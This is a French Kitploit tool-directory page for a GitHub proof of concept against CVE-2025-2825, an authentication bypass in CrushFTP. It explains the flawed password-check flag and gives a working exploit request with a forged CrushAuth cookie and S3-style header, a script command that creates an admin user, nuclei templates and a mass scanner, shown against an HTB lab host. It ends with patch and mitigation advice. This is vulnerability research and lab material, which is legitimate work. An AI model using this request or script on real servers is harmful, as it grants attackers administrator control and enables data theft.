Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-2825 — Analyse détaillée et exploit PoC pour CVE-2025-2825, un contournement d'authentification dans CrushFTP. Inclut des templates nuclei, un scanner multi-thread, et un script de création d'utilisateur pour les tests de pénétration. | Kitploit
Outils/GitHubGitHub/iteride/cve-2025-2825
Authentification et AutorisationAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionDéveloppement de Charges Utiles
GitHubiteride/cve-2025-2825

CVE-2025-2825

Analyse détaillée et exploit PoC pour CVE-2025-2825, un contournement d'authentification dans CrushFTP. Inclut des templates nuclei, un scanner multi-thread, et un script de création d'utilisateur pour les tests de pénétration.

Voir le dépôt
1il y a 11 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-2825/CVE-2025-31161

Introduction

Ce document présente l'étude de la vulnérabilité CVE-2025-2825 affectant la partie serveur de CrushFTP, une solution commerciale de transfert et de stockage de fichiers (FTP, SFTP, HTTP/S, interfaces de type S3, etc.).

Le défaut est classé comme contournement d'authentification, permettant à un attaquant distant non authentifié d'obtenir les droits d'administrateur. Une exploitation réussie donne un accès avec les privilèges crushadmin, la visualisation et la modification de fichiers, la gestion des comptes utilisateurs et l'exécution d'opérations administratives via l'interface web et l'API de CrushFTP.

Versions affectées signalées (selon les avis publics et les rapports de chercheurs) :

  • CrushFTP 10.0.0 — 10.8.3
  • CrushFTP 11.0.0 — 11.3.0

⚠️ Remarque : dans certaines publications, on trouve des doublons et des chevauchements d'identifiants CVE (par exemple CVE-2025-31161).


Objectif du rapport

Analyser pas à pas la vulnérabilité et démontrer le cycle complet de l'étude, comprenant :

  1. Collecte et analyse des documents — systématisation des avis, PoC, analyses techniques et publications sur CVE-2025-2825 ; formulation de l'essence du défaut et de son impact.
  2. Détermination des CPE et des conditions — liste des CPE/versions et configurations pertinentes dans lesquelles la vulnérabilité est reproductible (interfaces web, points de terminaison compatibles S3, etc.).
  3. Développement d'un PoC/Exploit — préparation d'un PoC reproductible sur un banc d'essai contrôlé ; description de l'architecture et des mesures de réduction des risques.
  4. Méthodes de vérification massive — trois approches pour rechercher en toute sécurité les hôtes vulnérables :
    • scan actif avec nuclei ;
    • scan passif avec nuclei (basé sur les versions et les indicateurs indirects sans exploitation) ;
    • script personnalisé (Python/Go) pour une vérification contrôlée.
  5. Recommandations et atténuation — conseils pratiques pour la détection, le patch et la protection des instances.
  6. Pratiques de test sécurisées — listes de contrôle pour effectuer des tests uniquement dans des environnements autorisés.

Impact pratique

Selon les rapports publics, la vulnérabilité présente un risque critique :

  • L'exploitation donne un accès administratif à l'instance CrushFTP.
  • Conséquences : vol/modification de fichiers, création/suppression d'utilisateurs, installation de portes dérobées, utilisation du serveur pour d'autres attaques.
  • CVSS est évalué comme critique (environ 9.8).
  • Des PoC et des signes d'exploitation « dans la nature » ont été signalés dans la communauté.

CPE / configurations cibles

Les instances présentant les caractéristiques suivantes sont critiques :

  • Produit : CrushFTP (toute édition avec interface web).
  • Versions : 10.0.0 — 10.8.3, 11.0.0 — 11.3.0.
  • Configurations à risque élevé :
    • Interface d'administration web publique activée (HTTP/S).
    • Points de terminaison API compatibles S3 activés.
    • Absence de mesures de protection supplémentaires (filtrage IP, 2FA).
    • Configurations erronées du proxy/équilibreur rendant les points de terminaison internes accessibles depuis l'extérieur.

Compréhension de la vulnérabilité

CrushFTP implémente le support d'une API de type S3. Pour l'authentification, l'en-tête Authorization est utilisé :

root@kitploit:~
Authorization: AWS4-HMAC-SHA256 Credential=<AccessKey>/<Date>/<Region>/s3/aws4_request, SignedHeaders=<Headers>, Signature=<Signature>

Le serveur extrait l'AccessKey de Credential et doit vérifier la signature. Cependant, une erreur a été commise dans le code lors de la gestion du flag lookup_user_pass .

  • Code vulnérable (fragment simplifié) :
root@kitploit:~
// ServerSessionHTTP.java, méthode loginCheckHeaderAuth()
if (this.headerLookup.containsKey("AUTHORIZATION") &&
    this.headerLookup.getProperty("AUTHORIZATION").trim().startsWith("AWS4-HMAC")) {
    
    boolean lookup_user_pass = true;   // ← erreur critique
    
    if (s3_username3.indexOf("~") >= 0) {
        user_pass = user_name.substring(user_name.indexOf("~") + 1);
        user_name = user_name.substring(0, user_name.indexOf("~"));
        lookup_user_pass = false;
    }
    
    if (this.thisSession.login_user_pass(
            lookup_user_pass,
            false,
            user_name,
            lookup_user_pass ? "" : user_pass)) {
        // Authentification réussie
    }
}
  • Logique ultérieure :

Le flag lookup_user_pass est directement transmis comme anyPass :

root@kitploit:~
if (anyPass && user.getProperty("username").equalsIgnoreCase(the_user)) {
    return user;  // authentification sans vérification du mot de passe
}

Ainsi :

  • Si le nom d'utilisateur est spécifié sans le caractère ~, le flag reste true.

  • La vérification du mot de passe n'est pas effectuée.

  • L'attaquant peut s'authentifier en indiquant uniquement un nom d'utilisateur existant (par exemple crushadmin).

  • Avec un cookie CrushAuth formellement valide et le paramètre c2f, cela permet de contourner l'authentification et d'obtenir un accès administratif.

Correction

Dans la version 11.3.1 et ultérieures, les développeurs :

  • Ont ajouté le paramètre s3_auth_lookup_password_supported (par défaut false), bloquant le scénario vulnérable.

  • Ont introduit des vérifications précoces du nom d'utilisateur avec ~.

  • Ont séparé la logique des flags, supprimant la substitution lookup_user_pass → anyPass.

  • Recommandation : mettre à jour immédiatement CrushFTP vers 11.3.1+ ou appliquer le workaround avec s3_auth_lookup_password_supported désactivé.

POC/Exploit

L'exploitation de CVE-2025-2825 est assez simple et ne nécessite pas de préparation complexe. L'attaquant doit simplement envoyer une requête HTTP spécialement conçue, contenant deux éléments clés :

  • Un en-tête Authorization au format AWS S3 contenant le nom correct d'un utilisateur existant (champ Credential avec AccessKey/nom d'utilisateur).
  • Un cookie CrushAuth au format attendu et le paramètre c2f dans l'URL/le corps de la requête, dont les valeurs correspondent logiquement (le format du cookie doit correspondre à la structure attendue par le serveur).

Si le serveur est vulnérable (version dans la plage 10.0.0—10.8.3 ou 11.0.0—11.3.0 et correctif non appliqué), cette combinaison force le gestionnaire d'authentification à emprunter le chemin vulnérable, où le flag de recherche du mot de passe (lookup_user_pass) est interprété comme « tout mot de passe est accepté », et l'utilisateur est authentifié sur la seule base du nom sans vérification du mot de passe.

Remarque importante :

L'exploitation de cette vulnérabilité nécessite généralement l'envoi de deux requêtes successives. La première, dite de « préchauffage » (warm-up), déclenche le processus d'authentification vulnérable sur le serveur. Un signe caractéristique que le serveur est entré dans l'état souhaité est l'obtention d'une erreur 502 Bad Gateway ou simplement un délai d'attente (timeout). Immédiatement après, la seconde requête, principale, exécute l'action utile (par exemple, création d'un utilisateur) pendant que le serveur est encore dans l'état vulnérable à l'attaque.

root@kitploit:~
GET /WebInterface/function/?command=getUserList&serverGroup=MainUsers&c2f=1111 HTTP/1.1
Host: target-server:8080
Cookie: CrushAuth=1743113839553_vD96EZ70ONL6xAd1DAJhXMZYMn1111
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/

Pour le test, j'ai utilisé le laboratoire récent sur HTB — Soulmate, qui nécessite justement l'exploitation de CrushFTP.

crush

Progression ultérieure :

Grâce à cette vulnérabilité, il est possible d'ajouter un nouvel utilisateur avec les droits d'administrateur à l'aide de la commande setUserItem. Pour ce faire, exécutez new_user.py.

root@kitploit:~
python3 new_user.py --target_host http://ftp.soulmate.htb/ --port 80 --target_user crushadmin --new_user literide --password literide

Pourquoi cela fonctionne

  1. Analyse de l'en-tête Authorization : Lorsque le serveur voit un en-tête d'autorisation au format S3 (AWS4-HMAC...), il extrait du champ Credential l'identifiant client (AccessKey / nom d'utilisateur). À cette étape, le serveur obtient une chaîne qu'il considère comme le nom d'utilisateur — cette valeur d'identification est ensuite utilisée dans la logique d'authentification.

  2. Le flag lookup_user_pass et son rôle :

Dans le code, il y a un flag booléen lookup_user_pass qui doit indiquer d'où tirer le mot de passe lors de la vérification :

  • Dans un scénario normal, le flag aide à décider : utiliser le mot de passe transmis dans la requête ou récupérer le mot de passe depuis le stockage utilisateur ;

  • Cependant, en raison d'une erreur d'implémentation, ce même flag est transmis plus loin à la fonction de vérification et y est interprété différemment — comme un signal permettant d'ignorer la vérification du mot de passe (en substance : « anyPass »).

  1. Transmission du flag dans la chaîne d'appels : Chemin approximatif : ServerSessionHTTP.loginCheckHeaderAuth() → Session.login_user_pass(...) → UserTools.ut.verify_user(...). En entrée, le flag détermine le comportement, et dans verify_user, il conduit à un retour précoce de l'objet utilisateur trouvé sans comparaison du mot de passe, si le nom correspond. Cela donne le contournement de la vérification d'authentification — le serveur « reconnaît » l'utilisateur par son nom et le considère comme authentifié.

  2. Éléments associés (cookie / c2f) : Dans les analyses publiques, il a été indiqué que le gestionnaire attend un format correct de cookie/paramètres pour faire correspondre la requête à une session/contexte. Cependant, le défaut clé réside dans l'erreur logique de traitement de lookup_user_pass ; les autres éléments aident simplement la requête à passer les branches standards du traitement.

Cause principale

  • Surcharge de sens du flag : le flag qui devait décider « d'où tirer le mot de passe » s'est retrouvé utilisé comme « autoriser n'importe quel mot de passe ». Cette combinaison avec l'analyse simplifiée de Credential a conduit à ce que la présence d'un nom d'utilisateur correct soit suffisante pour obtenir les identifiants de l'utilisateur sans vérification du mot de passe.

Modèle Nuclei

  • Modèle passif :

    Étant donné qu'il est impossible de déterminer la version exacte de Crushftp dans la plupart des services web, ce modèle vérifie simplement si le service utilise Crushftp.

    Il est préférable de l'utiliser en combinaison avec le modèle actif passive_nuclei

  • Modèle actif :

    Le modèle actif vérifie si la commande getUserList est possible.

    active_nuclei

  • Script multithread

    Le script fonctionne à peu près comme le modèle actif, mais beaucoup plus rapidement et prend en charge la vérification de plusieurs hôtes simultanément.

    root@kitploit:~
    python3 scan.py -t http://ftp.soulmate.htb/ -p 80 -u crushadmin
    

    scan


Recommandations pour la correction et la protection

Pour réduire les risques liés à CVE-2025-31161, il est recommandé de prendre les mesures suivantes :

  1. Mise à jour immédiate :

    • Mettre à jour toutes les instances de CrushFTP vers la version 11.3.1 ou ultérieure. C'est le moyen le plus fiable d'éliminer complètement la vulnérabilité.
  2. Application du Workaround (si la mise à jour est impossible) :

    • Dans la configuration du serveur, définir le paramètre s3_auth_lookup_password_supported sur false. Cela désactivera la logique d'authentification vulnérable sans mettre à jour l'ensemble du produit.
  3. Mesures compensatoires :

    • Limiter l'accès : Utiliser un pare-feu ou un proxy inverse (NGINX, Caddy) pour restreindre l'accès à l'interface web de CrushFTP uniquement aux adresses IP de confiance (par exemple, depuis le réseau d'entreprise ou un VPN).
    • Surveillance des logs : Analyser régulièrement les logs d'accès de CrushFTP pour détecter les requêtes suspectes contenant AWS4-HMAC-SHA256 dans l'en-tête Authorization, surtout si vous n'utilisez pas l'intégration S3.
    • Utiliser un pare-feu applicatif web (WAF) : Configurer un WAF pour bloquer les requêtes contenant des en-têtes Authorization anormaux vers les points de terminaison non destinés à l'API S3.

Télécharger l’outil